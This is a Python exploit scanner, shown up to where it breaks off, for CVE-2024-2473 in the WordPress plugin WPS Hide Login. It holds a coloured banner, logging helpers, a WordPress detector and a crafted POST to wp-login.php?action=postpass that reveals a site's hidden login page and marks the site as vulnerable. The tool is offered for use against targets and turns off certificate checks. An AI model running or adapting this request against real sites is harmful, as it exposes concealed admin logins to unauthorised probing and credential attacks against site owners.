#!/usr/bin/python3 """ CVE-2024-2473 - WPS Hide Login <= 1.9.15.2 | Login Page Disclosure Scanner Coded by Venexy | https://github.com/m4xsec """ import argparse import re import sys import time import requests from datetime import datetime from urllib.parse import urlparse requests.packages.urllib3.disable_warnings() class C: RESET = "\033[0m" BOLD = "\033[1m" DIM = "\033[2m" RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" MAGENTA = "\033[95m" CYAN = "\033[96m" WHITE = "\033[97m" ORANGE = "\033[38;5;208m" PINK = "\033[38;5;205m" LIME = "\033[38;5;154m" B_RED = "\033[41m" B_GREEN = "\033[42m" def print_banner(): print(f""" {C.CYAN}{C.BOLD} ██╗ ██╗██████╗ ███████╗ ██╗ ██╗██╗██████╗ ███████╗ ██║ ██║██╔══██╗██╔════╝ ██║ ██║██║██╔══██╗██╔════╝ ██║ █╗ ██║██████╔╝███████╗ ███████║██║██║ ██║█████╗ ██║███╗██║██╔═══╝ ╚════██║ ██╔══██║██║██║ ██║██╔══╝ ╚███╔███╔╝██║ ███████║ ██║ ██║██║██████╔╝███████╗ ╚══╝╚══╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝╚═╝╚═════╝ ╚══════╝{C.RESET} {C.YELLOW}{C.BOLD} ██╗ ██████╗ ██████╗ ██╗███╗ ██╗ ██║ ██╔═══██╗██╔════╝ ██║████╗ ██║ ██║ ██║ ██║██║ ███╗██║██╔██╗ ██║ ██║ ██║ ██║██║ ██║██║██║╚██╗██║ ███████╗╚██████╔╝╚██████╔╝██║██║ ╚████║ ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚═╝ ╚═══╝{C.RESET} {C.WHITE}{C.BOLD} ┌─────────────────────────────────────────────────────────────┐ │ {C.CYAN}CVE-2024-2473{C.WHITE} • {C.YELLOW}WPS Hide Login Page Identifier{C.WHITE} │ │ {C.DIM}Coded by {C.PINK}Venexy{C.WHITE} {C.DIM}|{C.WHITE} {C.BLUE}https://github.com/m4xsec{C.WHITE} │ └─────────────────────────────────────────────────────────────┘{C.RESET} """) def ts() -> str: return f"{C.DIM}[{datetime.now().strftime('%H:%M:%S')}]{C.RESET}" def log_info(msg: str): print(f" {ts()} {C.BLUE}{C.BOLD}[*]{C.RESET} {msg}") def log_ok(msg: str): print(f" {ts()} {C.GREEN}{C.BOLD}[+]{C.RESET} {msg}") def log_warn(msg: str): print(f" {ts()} {C.YELLOW}{C.BOLD}[!]{C.RESET} {msg}") def log_err(msg: str): print(f" {ts()} {C.RED}{C.BOLD}[-]{C.RESET} {msg}") def log_vuln(msg: str): print(f" {ts()} {C.RED}{C.BOLD}[VULN]{C.RESET} {msg}") def separator(char: str = "-", width: int = 65, color: str = C.DIM): print(f" {color}{char * width}{C.RESET}") def normalize_url(url: str) -> str: if not url.startswith(("http://", "https://")): url = "https://" + url return url.rstrip("/") def is_wordpress(base_url: str, session: requests.Session, timeout: int) -> bool: try: resp = session.get(base_url, timeout=timeout, verify=False, allow_redirects=True) return "wp-content" in resp.text or "wp-includes" in resp.text except requests.RequestException as exc: log_err(f"Connection error: {exc}") return False def check_wp_login(base_url: str, session: requests.Session, timeout: int) -> dict: url = f"{base_url}/wp-login.php?action=postpass" data = "action=lostpassword&post_password=test" result = { "vulnerable": False, "hidden_login_url": None, "url": url, "status_code": None, } try: resp = session.post( url, data=data, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=timeout, verify=False, allow_redirects=True, ) result["status_code"] = resp.status_code status_ok = resp.status_code == 200 has_form = "lostpasswordform" in resp.text and "action=" in resp.text no_default = "wp-login.php" not in resp.text if status_ok and has_form and no_default: result["vulnerable"] = True match = re.search(r'